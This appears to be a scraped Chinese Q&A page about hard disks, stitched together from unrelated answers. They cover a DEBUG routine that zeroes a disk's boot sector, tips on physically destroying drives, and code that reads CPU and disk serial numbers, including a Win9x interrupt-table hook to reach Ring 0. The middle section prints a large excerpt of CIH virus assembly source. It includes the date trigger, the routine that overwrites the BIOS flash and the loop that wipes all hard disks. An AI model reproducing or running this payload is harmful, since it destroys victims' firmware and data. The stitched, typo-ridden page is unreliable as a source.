当前位置:首页 » 硬盘大全 » ptr硬盘
扩展阅读
webinf下怎么引入js 2023-08-31 21:54:13
堡垒机怎么打开web 2023-08-31 21:54:11

ptr硬盘

发布时间: 2022-06-01 21:21:36

‘壹’ 硬盘不能启动

用DEBUG修复硬盘不启动故障

前几天一个朋友拿来一块硬盘,告诉我说这块硬盘突然不能启动了,让我帮忙检查一下,我拿过硬盘看了一下,是一块昆腾15G的硬盘,用了还不到一年(因为不是在本地买的,要找到经销商很麻烦),把坏硬盘接到我的电脑上,在BIOS中可以检测到这块硬盘,但是启动到“Verifying DMI Data"时,硬盘灯长亮,系统却不动了。拔下原先电脑上的硬盘,把这块坏硬盘单独接到主盘上,用软盘启动,仍然是启动到“Verifying DMI Data"时就没有了响应,看来问题并不简单。

由于这块硬盘在出问题之前一直工作都很正常,从未发现过任何坏道,而且朋友用电脑一向很小心,也没有让硬盘受过什么碰撞,看来应该不是硬故障,估计是因为使用不当所造成的死锁,一般进行低格就可以解决问题了。但是现在也有一个问题,就是只要把这块坏硬盘接到电脑上,无论是接到主盘还是从盘上,那么不管是从硬盘还是从软件盘,都无法启动系统,这样所有的低格软件都无法使用了。尽管也可以先启动系统后再接上坏硬盘,但是这样热拔插有可能会造成硬盘或其它设备的损坏,还是不用为好。看来只能找一块主板BIOS中带有低格功能的电脑来对它进行低格了,而手边一时又找不到这样的电脑,我一下子陷入了困境。

正在我在这此烦恼时,我突然想到了几年前的KV300逻辑锁事件,当年KV300逻辑锁也是这样对硬盘进行了死锁,后来有人想出了对硬盘的主引导扇区清零的方法来恢复对硬盘的引导,故障的现象也和这块硬盘一模一样,幸好我还记得这种方法,为什么不用这种方法来试一下呢?

于是我又取下了那块坏硬盘,把我原先用的硬盘接了上去,重新开机后,启动到DOS实模式下,然后执行DEBUG命令 C:\windows\command\DEBUG(可能有些朋友对它不很熟悉,想当年我在上大学时它可是计算机专业的必修课),此时在软驱中插入一张空白的软盘,然后在DEBUG的软件环境中键入以下字符:

-A 0100
XXXX:0100 XOR AX,AX
XXXX:0102 PUSH AX
XXXX:0103 POP DS
XXXX:0104 PUSH AX
XXXX:0105 POP ES
XXXX:0106 MOV CX,100
XXXX:0109 MOV BX,7C00
XXXX:010C MOV WORD PTR [BX],00
XXXX:0110 INC BX
XXXX:0111 INC BX
XXXX:0112 LOOP 10C
XXXX:0114 MOV AX,0301
XXXX:0117 MOV CX,0001
XXXX:011A MOV DX,80
XXXX:011D MOV BX,7C00
XXXX:0120 INT 13
XXXX:0122 JMP FFFF:0000
XXXX:0127
-W 100 0 0 1
-Q

此时,系统会在这张空白软盘上写入一段特殊的引导信息,这样这张特殊的引导盘就做好了。

最后关闭电脑,换上那块坏硬盘,并把它接到主盘上,重新在BIOS中设置硬盘的所有参数,并把系统设为从A盘启动,然后重新启动电脑,并把那张特殊的引导盘插入软驱,大约10秒钟后,电脑自动的重新启动,此时我将那张特殊的引导盘取出,插入WIN98的启动盘,1分钟后,系统顺利的启动了,熟悉的DOS提示符又出现在眼前,然后重新对硬盘分区,重装WIN98,至此硬盘的故障全部排除。

‘贰’ 我用HDD硬盘坏道检测工具,检测完成后出现:BUFFER EMPTR 不知道是什么意思,请高手赐教。

BUFFER EMPTY 是不是这个 不是EMPTR呀

‘叁’ 计算机病毒

什么是计算机病毒
计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓
延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随
同文件一起蔓延开来。

除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎
仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不
寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。
可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序
的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为
制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制
并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒
所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复
制, 具有传染性。
所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计
算机资源进行破坏作用的一组程序或指令集合。

参考:http://www.eboss.com/pages/winfile/FaQ/bing.html

这里只是一部分。太长了。
cmp dword ptr [ebx+20h+04h+04h], 00000024h ;详见助标2
jne QuitMyVirusFileSystemHook

; *****************
; * Get the File *
; * Modification *
; * Date and Time *
; * in DOS Format.*
; *****************

mov eax, [ecx+28h]
mov (FileModificationTime-@6)[esi], eax ;保存获得的文件时间和日期

; ***************************
; * Quit My Virus' *
; * IFSMgr_FileSystemHook *
; ***************************

QuitMyVirusFileSystemHook:

popad ;恢复所有寄存器

ret ;从病毒设置的文件钩子程序中退出

; *************************************
; * Kill Computer !? ... *^_^* * ;KillComputer模块(!!十分危险,所以原理分析及详细注释暂不公布!!)
; *************************************

IsKillComputer:
; Get Now Day from BIOS CMOS
mov al, 07h
out 70h, al
in al, 71h

xor al, 26h ; ??/26/???? ;从CMOS中获得当前的日期

IF DEBUG
jmp DisableOnBusy
ELSE
jnz DisableOnBusy
ENDIF ;如果是每月的26号就KillComputer(太危险了).*^_^*.

; **************************************
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; **************************************

; ***************************
; * Kill BIOS EEPROM *
; ***************************

mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]

; ***********************
; * Show BIOS Page in *
; * 000E0000 - 000EFFFF *
; * ( 64 KB ) *
; ***********************

mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi

; ***********************
; * Show BIOS Page in *
; * 000F0000 - 000FFFFF *
; * ( 64 KB ) *
; ***********************

mov di, 0058h
dec edx ; and a0fh
mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h
call esi

; ***********************
; * Show the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E01FF *
; * ( 512 Bytes ) *
; * , and the Section *
; * of Extra BIOS can *
; * be Writted... *
; ***********************

lea ebx, EnableEEPROMToWrite-@10[esi]

mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h

push ecx
loop $

; ***********************
; * Kill the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E007F *
; * ( 80h Bytes ) *
; ***********************

xor ah, ah
mov [eax], al

xchg ecx, eax
loop $

; ***********************
; * Show and Enable the *
; * BIOS Main ROM Data *
; * 000E0000 - 000FFFFF *
; * ( 128 KB ) *
; * can be Writted... *
; ***********************

mov eax, 0f5555h
pop ecx
mov ch, 0aah
call ebx
mov byte ptr [eax], 20h

loop $

; ***********************
; * Kill the BIOS Main *
; * ROM Data in Memory *
; * 000FE000 - 000FE07F *
; * ( 80h Bytes ) *
; ***********************

mov ah, 0e0h
mov [eax], al

; ***********************
; * Hide BIOS Page in *
; * 000F0000 - 000FFFFF *
; * ( 64 KB ) *
; ***********************
; or al 0h
mov word ptr (BooleanCalculateCode-@10)[esi], 100ch
call esi

; ***************************
; * Kill All HardDisk *
; ***************************************************
; * IOR Structure of IOS_SendCommand Needs *
; ***************************************************
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
; ***************************************************

KillHardDisk:
xor ebx, ebx
mov bh, FirstKillHardDiskNumber
push ebx
sub esp, 2ch
push 0c0001000h
mov bh, 08h
push ebx
push ecx
push ecx
push ecx
push 40000501h
inc ecx
push ecx
push ecx

mov esi, esp
sub esp, 0ach

LoopOfKillHardDisk:
int 20h
dd 00100004h ; VXDCall IOS_SendCommand

cmp word ptr [esi+06h], 0017h
je KillNextDataSection

ChangeNextHardDisk:
inc byte ptr [esi+4dh]

jmp LoopOfKillHardDisk

KillNextDataSection:
add dword ptr [esi+10h], ebx
mov byte ptr [esi+4dh], FirstKillHardDiskNumber

jmp LoopOfKillHardDisk

; ***************************
; * Enable EEPROM to Write *
; ***************************

EnableEEPROMToWrite:
mov [eax], cl
mov [ecx], al
mov byte ptr [eax], 80h
mov [eax], cl
mov [ecx], al

ret

; ***************************
; * IO for EEPROM *
; ***************************

IOForEEPROM:
@10 = IOForEEPROM

xchg eax, edi
xchg edx, ebp
out dx, eax

xchg eax, edi
xchg edx, ebp
in al, dx

BooleanCalculateCode = $
or al, 44h

xchg eax, edi
xchg edx, ebp
out dx, eax

xchg eax, edi
xchg edx, ebp
out dx, al

ret

; *********************************************************
; * Static Data *
; *********************************************************

LastVxDCallAddress = IFSMgr_Ring0_FileIO ;最后一个调用的VxD的指令的地址
VxDCallAddressTable db 00h
db IFSMgr_RemoveFileSystemApiHook-_PageAllocate
db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
db IFSMgr_Ring0_FileIO-UniToBCSPath ;各个VxD调用指令地址之差

VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h ;VxD的调用号
VxDCallTableSize = ($-VxDCallIDTable)/04h ;程序中使用VxD调用的个数

; *********************************************************
; * Virus Version Copyright *
; *********************************************************

VirusVersionCopyright db 'CIH v' ;CIH病毒的标识
db MajorVirusVersion+'0' ;主版本号
db '.'
db MinorVirusVersion+'0' ;副版本号
db ' TATUNG' ;作者名字

; *********************************************************
; * Virus Size *
; *********************************************************

VirusSize = $
; + (04h)
; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
; + (04h) ;病毒代码全长

; *********************************************************
; * Dynamic Data *
; *********************************************************

VirusGameDataStartAddress = VirusSize
@6 = VirusGameDataStartAddress
OnBusy db 0 ;忙标志
FileModificationTime dd ? ;文件修改时间

FileNameBuffer db FileNameBufferSize p(?) ;7fh长的文件名数据区
@7 = FileNameBuffer

DataBuffer = $
@8 = DataBuffer
NumberOfSections dw ? ; 块数目
TimeDateStamp dd ? ; 文件时间
SymbolsPointer dd ? ;
NumberOfSymbols dd ? ; 符号表中符号个数
SizeOfOptionalHeader dw ? ; 可选部首长度
_Characteristics dw ? ; 信息标志
Magic dw ? ; 标志字(总是010bh)
LinkerVersion dw ? ; 连接器版本号
SizeOfCode dd ? ; 代码段大小
SizeOfInitializedData dd ? ; 已初始化数据块大小
SizeOfUninitializedData dd ? ; 未初始化数据块大小
AddressOfEntryPoint dd ? ; 程序起始RVA
BaseOfCode dd ? ; 代码段起始RVA
BaseOfData dd ? ; 数据段起始RVA
ImageBase dd ? ; 装入基址RVA
@9 = $
SectionAlignment dd ? ; 块对齐
FileAlignment dd ? ; 文件块对齐
OperatingSystemVersion dd ? ; 所需操作系统版本号
ImageVersion dd ? ; 用户自定义版本号
SubsystemVersion dd ? ; 所需子系统版本号
Reserved dd ? ; 保留
SizeOfImage dd ? ; 文件各部分总长
SizeOfHeaders dd ? ; 部首及块表大小
SizeOfImageHeaderToRead = $-NumberOfSections ;
;
NewAddressOfEntryPoint = DataBuffer ; DWORD ;
SizeOfImageHeaderToWrite = 04h ;

StartOfSectionTable = @9
SectionName = StartOfSectionTable ; QWORD ; 块名
VirtualSize = StartOfSectionTable+08h ; DWORD ; 该段真实长度
VirtualAddress = StartOfSectionTable+0ch ; DWORD ; 该块的RVA
SizeOfRawData = StartOfSectionTable+10h ; DWORD ; 该块物理长度
PointerToRawData = StartOfSectionTable+14h ; DWORD ; 该块物理偏移
PointerToRelocations = StartOfSectionTable+18h ; DWORD ; 重定位的偏移
PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD ; 行号表的偏移
NumberOfRelocations = StartOfSectionTable+20h ; WORD ; 重定位项数目
NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD ; 行号表的数目
Characteristics = StartOfSectionTable+24h ; DWORD ; 块属性
SizeOfScetionTable = Characteristics+04h-SectionName ; 块表项的长度

; *********************************************************
; * Virus Total Need Memory *
; *********************************************************

VirusNeedBaseMemory = $

VirusNeedBaseMemory = $

VirusTotalNeedMemory = @9
; + NumberOfSections(??)*SizeOfScetionTable(28h)
; + (04h)
; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
; + (04h) ;病毒所需的内存(病毒全长)

; *********************************************************
; *********************************************************

VirusGame ENDS

‘肆’ 如何能迅速破坏硬盘,详情如下:

个人觉得依据电磁原理,电磁炉是常规手段最好的数据破坏装备。(本人未实验过)按说拆开物理方式损坏盘片是最可靠的。ssd就简单多了,电子元件最怕的是超过击穿电压,以电脑最高12v直流电来说接入市电应该是很好的损坏方案。

‘伍’ VC++ MFC如何获取CPU ID及硬盘的序列号

// “获得Intel CPU ID”按钮消息处理函数
void CIntelCPUIDDlg::OnBtnCPUID()
{
unsigned long s1,s2;
unsigned char vendor_id[]="------------";//CPU提供商ID
CString str1,str2,str3;
// 以下为获得CPU ID的汇编语言指令
_asm // 得到CPU提供商信息
{
xor eax,eax // 将eax清0
cpuid // 获取CPUID的指令
mov dword ptr vendor_id,ebx
mov dword ptr vendor_id[+4],edx
mov dword ptr vendor_id[+8],ecx
}
str1.Format("%s",vendor_id);

_asm // 得到CPU ID的高32位
{
mov eax,01h
xor edx,edx
cpuid
mov s2,eax
}
str2.Format("%08X-",s2);

_asm // 得到CPU ID的低64位
{
mov eax,03h
xor ecx,ecx
xor edx,edx
cpuid
mov s1,edx
mov s2,ecx
}
str3.Format("%08X-%08X\n",s1,s2);

str2=str2+str3;
m_editVendor.SetWindowText(str1);
m_editCPUID.SetWindowText(str2);
}

// GetHDSerial.cpp: implementation of the CGetHDSerial class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "GetHDSerial.h"

char m_buffer[256];
WORD m_serial[256];
DWORD m_OldInterruptAddress;
DWORDLONG m_IDTR;

// 等待硬盘空闲
static unsigned int WaitHardDiskIdle()
{
BYTE byTemp;

Waiting:
_asm
{
mov dx, 0x1f7
in al, dx
cmp al, 0x80
jb Endwaiting
jmp Waiting
}
Endwaiting:
_asm
{
mov byTemp, al
}
return byTemp;
}

//中断服务程序
void _declspec( naked )InterruptProcess(void)
{
int byTemp;
int i;
WORD temp;
//保存寄存器值
_asm
{
push eax
push ebx
push ecx
push edx
push esi
}

WaitHardDiskIdle();//等待硬盘空闲状态
_asm
{
mov dx, 0x1f6
mov al, 0xa0
out dx, al
}
byTemp = WaitHardDiskIdle(); //若直接在Ring3级执行等待命令,会进入死循环
if ((byTemp&0x50)!=0x50)
{
_asm // 恢复中断现场并退出中断服务程序
{
pop esi
pop edx
pop ecx
pop ebx
pop eax
iretd
}
}

_asm
{
mov dx, 0x1f6 //命令端口1f6,选择驱动器0
mov al, 0xa0
out dx, al
inc dx
mov al, 0xec
out dx, al //发送读驱动器参数命令
}
byTemp = WaitHardDiskIdle();
if ((byTemp&0x58)!=0x58)
{
_asm // 恢复中断现场并退出中断服务程序
{
pop esi
pop edx
pop ecx
pop ebx
pop eax
iretd
}
}
//读取硬盘控制器的全部信息
for (i=0;i<256;i++)
{
_asm
{
mov dx, 0x1f0
in ax, dx
mov temp, ax
}
m_serial[i] = temp;
}
_asm
{
pop esi
pop edx
pop ecx
pop ebx
pop eax
iretd
}
}
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CGetHDSerial::CGetHDSerial()
{

}

CGetHDSerial::~CGetHDSerial()
{

}
// 读取硬盘序列号函数
char* CGetHDSerial::GetHDSerial()
{
m_buffer[0]='\n';
// 得到当前操作系统版本
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx( &OSVersionInfo);
if (OSVersionInfo.dwPlatformId != VER_PLATFORM_WIN32_NT)
{
// Windows 9x/ME下读取硬盘序列号
WORD m_wWin9xHDSerial[256];
Win9xReadHDSerial(m_wWin9xHDSerial);
strcpy (m_buffer, WORDToChar (m_wWin9xHDSerial, 10, 19));
}
else
{
// Windows NT/2000/XP下读取硬盘序列号
DWORD m_wWinNTHDSerial[256];
// 判断是否有SCSI硬盘
if ( ! WinNTReadIDEHDSerial(m_wWinNTHDSerial))
WinNTReadSCSIHDSerial(m_wWinNTHDSerial);
strcpy (m_buffer, DWORDToChar (m_wWinNTHDSerial, 10, 19));
}
return m_buffer;
}

// Windows9X/ME系统下读取硬盘序列号
void _stdcall CGetHDSerial::Win9xReadHDSerial(WORD * buffer)
{
int i;
for(i=0;i<256;i++)
buffer[i]=0;
_asm
{
push eax
//获取修改的中断的中断描述符(中断门)地址
sidt m_IDTR
mov eax,dword ptr [m_IDTR+02h]
add eax,3*08h+04h
cli
//保存原先的中断入口地址
push ecx
mov ecx,dword ptr [eax]
mov cx,word ptr [eax-04h]
mov dword ptr m_OldInterruptAddress,ecx
pop ecx
//设置修改的中断入口地址为新的中断处理程序入口地址
push ebx
lea ebx,InterruptProcess
mov word ptr [eax-04h],bx
shr ebx,10h
mov word ptr [eax+02h],bx
pop ebx
//执行中断,转到Ring 0(类似CIH病毒原理)
int 3h
//恢复原先的中断入口地址
push ecx
mov ecx,dword ptr m_OldInterruptAddress
mov word ptr [eax-04h],cx
shr ecx,10h
mov word ptr [eax+02h],cx
pop ecx
sti
pop eax
}
for(i=0;i<256;i++)
buffer[i]=m_serial[i];
}

// Windows 9x/ME系统下,将字类型(WORD)的硬盘信息转换为字符类型(char)
char * CGetHDSerial::WORDToChar (WORD diskdata [256], int firstIndex, int lastIndex)
{
static char string [1024];
int index = 0;
int position = 0;

// 按照高字节在前,低字节在后的顺序将字数组diskdata 中内容存入到字符串string中
for (index = firstIndex; index <= lastIndex; index++)
{
// 存入字中的高字节
string [position] = (char) (diskdata [index] / 256);
position++;
// 存入字中的低字节
string [position] = (char) (diskdata [index] % 256);
position++;
}
// 添加字符串结束标志
string [position] = '\0';

// 删除字符串中空格
for (index = position - 1; index > 0 && ' ' == string [index]; index--)
string [index] = '\0';

return string;
}

// Windows NT/2000/XP系统下,将双字类型(DWORD)的硬盘信息转换为字符类型(char)
char* CGetHDSerial::DWORDToChar (DWORD diskdata [256], int firstIndex, int lastIndex)
{
static char string [1024];
int index = 0;
int position = 0;

// 按照高字节在前,低字节在后的顺序将双字中的低字存入到字符串string中
for (index = firstIndex; index <= lastIndex; index++)
{
// 存入低字中的高字节
string [position] = (char) (diskdata [index] / 256);
position++;
// 存入低字中的低字节
string [position] = (char) (diskdata [index] % 256);
position++;
}
// 添加字符串结束标志
string [position] = '\0';

// 删除字符串中空格
for (index = position - 1; index > 0 && ' ' == string [index]; index--)
string [index] = '\0';

return string;
}

// Windows NT/2000/XP下读取IDE硬盘序列号
BOOL CGetHDSerial::WinNTReadIDEHDSerial(DWORD * buffer)
{
BYTE IdOutCmd [sizeof (SENDCMDOUTPARAMS) + IDENTIFY_BUFFER_SIZE - 1];
BOOL bFlag = FALSE;
int drive = 0;
char driveName [256];
HANDLE hPhysicalDriveIOCTL = 0;

sprintf (driveName, "\\\\.\\PhysicalDrive%d", drive);
// Windows NT/2000/XP下创建文件需要管理员权限
hPhysicalDriveIOCTL = CreateFile (driveName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL);

if (hPhysicalDriveIOCTL != INVALID_HANDLE_VALUE)
{
GETVERSIONOUTPARAMS VersionParams;
DWORD cbBytesReturned = 0;

// 得到驱动器的IO控制器版本
memset ((void*) &VersionParams, 0, sizeof(VersionParams));
if(DeviceIoControl (hPhysicalDriveIOCTL, IOCTL_GET_VERSION,
NULL, 0, &VersionParams,
sizeof(VersionParams),
&cbBytesReturned, NULL) )
{
if (VersionParams.bIDEDeviceMap > 0)
{
BYTE bIDCmd = 0; // IDE或者ATAPI识别命令
SENDCMDINPARAMS scip;

// 如果驱动器是光驱,采用命令IDE_ATAPI_IDENTIFY, command,
// 否则采用命令IDE_ATA_IDENTIFY读取驱动器信息
bIDCmd = (VersionParams.bIDEDeviceMap >> drive & 0x10)?
IDE_ATAPI_IDENTIFY : IDE_ATA_IDENTIFY;

memset (&scip, 0, sizeof(scip));
memset (IdOutCmd, 0, sizeof(IdOutCmd));
// 获取驱动器信息
if (WinNTGetIDEHDInfo (hPhysicalDriveIOCTL,
&scip,
(PSENDCMDOUTPARAMS)&IdOutCmd,
(BYTE) bIDCmd,
(BYTE) drive,
&cbBytesReturned))
{
int m = 0;
USHORT *pIdSector = (USHORT *)
((PSENDCMDOUTPARAMS) IdOutCmd) -> bBuffer;

for (m = 0; m < 256; m++)
buffer[m] = pIdSector [m];
bFlag = TRUE; // 读取硬盘信息成功
}
}
}
CloseHandle (hPhysicalDriveIOCTL); // 关闭句柄
}
return bFlag;
}

// WindowsNT/2000/XP系统下读取SCSI硬盘序列号
BOOL CGetHDSerial::WinNTReadSCSIHDSerial (DWORD * buffer)
{
buffer[0]='\n';
int controller = 0;
HANDLE hScsiDriveIOCTL = 0;
char driveName [256];
sprintf (driveName, "\\\\.\\Scsi%d:", controller);
// Windows NT/2000/XP下任何权限都可以进行
hScsiDriveIOCTL = CreateFile (driveName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL);

if (hScsiDriveIOCTL != INVALID_HANDLE_VALUE)
{
int drive = 0;
DWORD mmy;
for (drive = 0; drive < 2; drive++)
{
char buffer [sizeof (SRB_IO_CONTROL) + SENDIDLENGTH];
SRB_IO_CONTROL *p = (SRB_IO_CONTROL *) buffer;
SENDCMDINPARAMS *pin =
(SENDCMDINPARAMS *) (buffer + sizeof (SRB_IO_CONTROL));
// 准备参数
memset (buffer, 0, sizeof (buffer));
p -> HeaderLength = sizeof (SRB_IO_CONTROL);
p -> Timeout = 10000;
p -> Length = SENDIDLENGTH;
p -> ControlCode = IOCTL_SCSI_MINIPORT_IDENTIFY;
strncpy ((char *) p -> Signature, "SCSIDISK", 8);
pin -> irDriveRegs.bCommandReg = IDE_ATA_IDENTIFY;
pin -> bDriveNumber = drive;
// 得到SCSI硬盘信息
if (DeviceIoControl (hScsiDriveIOCTL, IOCTL_SCSI_MINIPORT,
buffer,
sizeof (SRB_IO_CONTROL) +
sizeof (SENDCMDINPARAMS) - 1,
buffer,
sizeof (SRB_IO_CONTROL) + SENDIDLENGTH,
&mmy, NULL))
{
SENDCMDOUTPARAMS *pOut =
(SENDCMDOUTPARAMS *) (buffer + sizeof (SRB_IO_CONTROL));
IDSECTOR *pId = (IDSECTOR *) (pOut -> bBuffer);
if (pId -> sModelNumber [0])
{
int n = 0;
USHORT *pIdSector = (USHORT *) pId;

for (n = 0; n < 256; n++)
buffer[n] =pIdSector [n];
return TRUE; // 读取成功
}
}
}
CloseHandle (hScsiDriveIOCTL); // 关闭句柄
}
return FALSE; // 读取失败
}

// Windows NT/2000/XP下读取IDE设备信息
BOOL CGetHDSerial::WinNTGetIDEHDInfo (HANDLE hPhysicalDriveIOCTL, PSENDCMDINPARAMS pSCIP,
PSENDCMDOUTPARAMS pSCOP, BYTE bIDCmd, BYTE bDriveNum,
PDWORD lpcbBytesReturned)
{
// 为读取设备信息准备参数
pSCIP -> cBufferSize = IDENTIFY_BUFFER_SIZE;
pSCIP -> irDriveRegs.bFeaturesReg = 0;
pSCIP -> irDriveRegs.bSectorCountReg = 1;
pSCIP -> irDriveRegs.bSectorNumberReg = 1;
pSCIP -> irDriveRegs.bCylLowReg = 0;
pSCIP -> irDriveRegs.bCylHighReg = 0;

// 计算驱动器位置
pSCIP -> irDriveRegs.bDriveHeadReg = 0xA0 | ((bDriveNum & 1) << 4);

// 设置读取命令
pSCIP -> irDriveRegs.bCommandReg = bIDCmd;
pSCIP -> bDriveNumber = bDriveNum;
pSCIP -> cBufferSize = IDENTIFY_BUFFER_SIZE;

// 读取驱动器信息
return ( DeviceIoControl (hPhysicalDriveIOCTL, IOCTL_GET_DRIVE_INFO,
(LPVOID) pSCIP,
sizeof(SENDCMDINPARAMS) - 1,
(LPVOID) pSCOP,
sizeof(SENDCMDOUTPARAMS) + IDENTIFY_BUFFER_SIZE - 1,
lpcbBytesReturned, NULL) );
}

‘陆’ windows7 delphi 获取硬盘序列号.物理序列号

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Edit1: TEdit;
Button1: TButton;
procere Button1Click(Sender: TObject);
procere Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procere TForm1.Button1Click(Sender: TObject);
begin
end;

//获得硬盘序列号
function GetIdeSerialNumber: pchar;
const IDENTIFY_BUFFER_SIZE = 512;
type
TIDERegs = packed record
bFeaturesReg: BYTE; // Used for specifying SMART "commands".
bSectorCountReg: BYTE; // IDE sector count register
bSectorNumberReg: BYTE; // IDE sector number register
bCylLowReg: BYTE; // IDE low order cylinder value
bCylHighReg: BYTE; // IDE high order cylinder value
bDriveHeadReg: BYTE; // IDE drive/head register
bCommandReg: BYTE; // Actual IDE command.
bReserved: BYTE; // reserved for future use. Must be zero.
end;
TSendCmdInParams = packed record
// Buffer size in bytes
cBufferSize: DWORD;
// Structure with drive register values.
irDriveRegs: TIDERegs;
// Physical drive number to send command to (0,1,2,3).
bDriveNumber: BYTE;
bReserved: array[0..2] of Byte;
dwReserved: array[0..3] of DWORD;
bBuffer: array[0..0] of Byte; // Input buffer.
end;
TIdSector = packed record
wGenConfig: Word;
wNumCyls: Word;
wReserved: Word;
wNumHeads: Word;
wBytesPerTrack: Word;
wBytesPerSector: Word;
wSectorsPerTrack: Word;
wVendorUnique: array[0..2] of Word;
sSerialNumber: array[0..19] of CHAR;
wBufferType: Word;
wBufferSize: Word;
wECCSize: Word;
sFirmwareRev: array[0..7] of Char;
sModelNumber: array[0..39] of Char;
wMoreVendorUnique: Word;
wDoubleWordIO: Word;
wCapabilities: Word;
wReserved1: Word;
wPIOTiming: Word;
wDMATiming: Word;
wBS: Word;
wNumCurrentCyls: Word;
wNumCurrentHeads: Word;
wNumCurrentSectorsPerTrack: Word;
ulCurrentSectorCapacity: DWORD;
wMultSectorStuff: Word;
ulTotalAddressableSectors: DWORD;
wSingleWordDMA: Word;
wMultiWordDMA: Word;
bReserved: array[0..127] of BYTE;
end;
PIdSector = ^TIdSector;
TDriverStatus = packed record
// 驱动器返回的错误代码,无错则返回0
bDriverError: Byte;
// IDE出错寄存器的内容,只有当bDriverError 为 SMART_IDE_ERROR 时有效
bIDEStatus: Byte;
bReserved: array[0..1] of Byte;
dwReserved: array[0..1] of DWORD;
end;
TSendCmdOutParams = packed record
// bBuffer的大小
cBufferSize: DWORD;
// 驱动器状态
DriverStatus: TDriverStatus;
// 用于保存从驱动器读出的数据的缓冲区,实际长度由cBufferSize决定
bBuffer: array[0..0] of BYTE;
end;
var
hDevice: Thandle;
cbBytesReturned: DWORD;
SCIP: TSendCmdInParams;
aIdOutCmd: array[0..(SizeOf(TSendCmdOutParams) + IDENTIFY_BUFFER_SIZE - 1) - 1] of Byte;
IdOutCmd: TSendCmdOutParams absolute aIdOutCmd;
procere ChangeByteOrder(var Data; Size: Integer);
var
ptr: Pchar;
i: Integer;
c: Char;
begin
ptr := @Data;
for I := 0 to (Size shr 1) - 1 do begin
c := ptr^;
ptr^ := (ptr + 1)^;
(ptr + 1)^ := c;
Inc(ptr, 2);
end;
end;
begin
Result := ''; // 如果出错则返回空串
if SysUtils.Win32Platform = VER_PLATFORM_WIN32_NT then begin // Windows NT, Windows 2000
// 提示! 改变名称可适用于其它驱动器,如第二个驱动器: '\\.\PhysicalDrive1\'
hDevice := CreateFile('\\.\PhysicalDrive0', GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0);
end else // Version Windows 95 OSR2, Windows 98
hDevice := CreateFile('\\.\SMARTVSD', 0, 0, nil, CREATE_NEW, 0, 0);
if hDevice = INVALID_HANDLE_VALUE then Exit;
try
FillChar(SCIP, SizeOf(TSendCmdInParams) - 1, #0);
FillChar(aIdOutCmd, SizeOf(aIdOutCmd), #0);
cbBytesReturned := 0;
// Set up data structures for IDENTIFY command.
with SCIP do begin
